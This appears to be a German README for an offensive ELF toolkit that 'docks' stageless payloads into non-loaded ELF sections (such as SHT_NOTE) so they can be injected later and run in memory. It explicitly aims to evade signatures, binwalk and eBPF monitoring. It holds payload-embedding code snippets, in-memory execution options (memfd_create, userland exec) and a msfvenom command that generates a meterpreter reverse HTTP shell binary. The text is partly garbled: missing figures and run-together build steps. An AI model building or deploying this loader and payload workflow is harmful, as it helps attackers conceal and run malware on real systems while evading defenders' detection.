
ELF-Binärabschnitts-Andock-Toolkit für stageless Payload-Bereitstellung, das das Anhängen von Payloads vor Ort, Signaturumgehung und Widerstand gegen statisches/dynamisches Laden durch benutzerdefinierte ELF-Abschnittsmanipulation ermöglicht.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Manuell oder mit Werkzeugen wie bin2c oder xxd -i payload.bin > payload.h mit weiterer Header-Inklusion erreicht.
Das Speichern von Payloads in .text und .data auf generische Weise ist ebenfalls eine schlechte Idee aufgrund der einfachen Nachverfolgbarkeit des Ladens und der Introspektion des Verhaltenssemantik beim Laden von Daten zur Ausführung.
__attribute__'s. Dies ist etwas besser, aber aufgrund der Art und Weise, wie ELF erstellt und geladen wird, immer noch gut nachverfolgbar.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Stack pointer initialisieren */
init_sp (stack + sizeof (stack));
/* initialisierte Daten initialisieren */
memcpy (&init_data, &data, &edata - &data);
}
Eine assemblerabhängige .incbin-ähnliche Direktive kann eine Sektion erstellen und einen Payload einbetten.
Bsp.: gcc -c payload.s oder ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
Mit weiterem Abruf im Loader als:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Hinweis: Wir können ein voll funktionsfähiges ELF in der payload.bin einbinden, was wichtig ist, wenn es um die Erstellung "fetter" Binaries geht, die Elemente mehrerer Toolkits enthalten.
Hinweis: Ergonomischere Werkzeuge existieren, um die Aufgabe zu erledigen, wie INCBIN von @graphitemaster [Link]
Eine Variation des Themas ist Inline-ASM wie folgt:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Hinweis: Beachten Sie PROGBITS in der Definition einer Sektion, es wird wichtig sein.
Compiler-/Linker-basierte Payload-Binär-Inklusion ist nicht ideal
Es gibt Kompromisse:

Der Typ der Sektion und die Flags, die auf der neuen Sektion gesetzt sind, die den Payload enthält, bestimmen, ob der OS-Loader sie beim Start des ausführbaren Programms in den Speicher lädt. Manche Sektionen werden standardmäßig automatisch geladen, andere nicht (z. B. .symtab, .strtab).
Aus Angreifersicht, welche Effizienzen können wir daraus ziehen?
Wir können vermeiden, Flags auf Sektionen zu setzen, die ein standardmäßiges Laden in den Speicher voraussetzen.
Wir können einen anderen Sektionstyp verwenden, der nicht in den Speicher lädt.
Ein Anbieter oder Systemingenieur muss möglicherweise eine Objektdatei mit speziellen Informationen markieren, die andere Programme auf Konformität oder Kompatibilität prüfen können. Sektionen vom Typ
SHT_NOTEund Programm-Header-Elemente vom TypPT_NOTEkönnen für diesen Zweck verwendet werden.
Im letzteren Fall sehen wir die Verwendung dieses Sektionstyps in System-Binaries:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
Und können ihren Inhalt inspizieren:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
Das Endergebnis der Erstellung einer SHT_NOTE-Sektion wird im ELF wie folgt aussehen:

Bonus: SHT_NOTE gibt uns eine Struktur, falls wir sie benötigen (und wir werden sie später verwenden):

Bisher konnten wir eine Sektion erstellen und vermeiden, dass sie vom OS-Loader in den Speicher geladen wird. Die Sektion liegt im ELF-Image momentan faktisch ruhend. Wie wir sie laden, besprechen wir etwas später. Eine dringendere Frage ist jedoch die Tatsache, dass wir immer noch auf Compiler- und Linker-Ebene operieren, und die Sektion ist ein Objekt, das in die Struktur des endgültigen ELF eingewebt wird, wodurch Beziehungen und Speicheradressen aus dem Loader-Code entstehen, der auf ihren Inhalt verweist.

Was, wenn wir in der Lage wären, eine ELF-Sektion mit eingebettetem Payload außerhalb des Loader-Kompilierungsworkflows zu erstellen und diese Sektion zu einem späteren Zeitpunkt an die Loader-Binär anzuhängen? Dies würde die Beziehung des Loader-Codes zur Sektionsinteraktion aufbrechen. Dann bringen wir dem Loader bei, wie er seine fremde Datensektion findet und lädt, wodurch ein Payload effektiv lose gekoppelt an einen Loader "angedockt" wird.
Konzeptionell wären unsere Ziele:
Die Beziehung zwischen Loader und Payload (in der Sektion) würde nun so aussehen:

Wir können dann einen Injektor erstellen, der eine Payload-Sektion in den Loader einführt, ohne dass einer von beiden auf Code-Ebene operiert, nur binäre Kompatibilität (und der Loader weiß, wie er jede Payload-Sektion lädt).

Einige Ergebnisse aus diesem generischen ELF-Sektions-Docking-Setup:
Der statische ELF-Loader kann dann eigenständig ausgeliefert werden, ohne Payloads, nur mit Mechanismen, um bei Bedarf eine Sektion zu laden und den Payload daraus zu booten.
Der Payload kann separat verpackt und jederzeit als statische Stufe mit dem Loader gebündelt oder später mit einem Injektor hinzugefügt werden. Der Payload kann oft verschlüsselt sein, oft selbst ein ELF-ausführbares Programm sein, solange der Loader nicht die Struktur des Payloads kennt, sondern nur seine Verpackungsfähigkeiten.
Der Injektor kann die Anfügung von Sektionen aus mehreren Binaries (ruhende Stufen) vermitteln, um eine Sektion zu konstruieren und in den Loader zu injizieren.
Es gibt Vorteile für die Sektionsebene-Konstruktion gegenüber dem Packen mehrerer Ressourcen in eine ausführbare Datei. Es gibt keinen Erkennungs-Overhead für Packer-Verarbeitung und -Code. Es gibt Gewinne beim Transport mehrerer Sektionen mit anderer Tooling, das auf In-Memory-Start angewiesen ist und nicht einfach gepackt werden kann, weil Packer Binaries ins Dateisystem extrahieren müssen. (Weiteres zur "Fett-Binaries"-Sektion)
Lassen Sie uns die ELF-Sektions-Docking-Komponenten genauer besprechen.
Disposition: hinten oder vor Ort Vorteile:
Disposition: vor Ort Vorteile:
Vorteile:
Stärkung des sektionalen ELF-Injektors/Packers:
Stärkung des ELF-Loaders:
Ein paar Worte zum sektionalen ELF-Loader in Zusammenarbeit mit dem Payload-Launcher:
Der Loader kann einen von zwei In-Memory-Payload-Ausführungsmechanismen nutzen:
Option A : SYS_Memfd_create ()
Option B: Userland Exec (https://grugq.github.io/docs/ul_exec.txt)
Workflow-Ablauf:

Binwalks Umgehungsmöglichkeiten nach sektionalem ELF-Payload vs. MSF-Payload:

eBPF-Umgehung vs. sektionaler ELF-Packer:

YARA-Verifizierer und Tests:


STIX-Werkzeugdefinition:

cmake --configure . aus, um Ihre Build-Umgebung zu konfigurieren. Wir unterstützen derzeit CMake 3.18../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a verteilt, kann aber bei Bedarf aus dem Original-Repository neu erstellt werden.bpftrace experimentieren möchten, installieren Sie bitte die entsprechenden Kernel-Header für Ihre Distribution.run.shaux/msfrc-RC-Datei wie folgt:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py zu sehen../aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]